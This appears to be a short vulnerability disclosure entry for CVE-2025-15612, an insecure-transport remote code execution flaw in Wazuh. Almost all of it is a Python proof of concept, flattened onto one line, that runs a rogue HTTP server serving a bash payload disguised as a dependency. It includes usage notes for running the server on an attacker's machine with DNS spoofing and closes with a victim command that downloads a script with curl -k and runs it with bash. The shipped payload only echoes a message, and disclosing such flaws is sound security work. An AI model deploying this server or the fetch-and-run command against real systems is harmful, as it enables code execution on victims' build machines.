CVE-2025-15612 Wazuh不安全传输致RCE漏洞

# PoC: Demonstration of MITM vulnerability when using curl -k # Attacker sets up a malicious server to replace legitimate dependencies import http.server import socketserver POC_PAYLOAD = b'#!/bin/bash\necho "RCE via MITM during build"' class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Send malicious payload pretending to be a legitimate dependency self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() self.wfile.write(POC_PAYLOAD) # Usage: Run this script on the attacker's machine and spoof the target URL's DNS PORT = 80 with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd: print(f"Malicious server running at port {PORT}") httpd.serve_forever() # Victim vulnerable command: curl -k http://target-url/dependency.sh -o dependency.sh && bash dependency.sh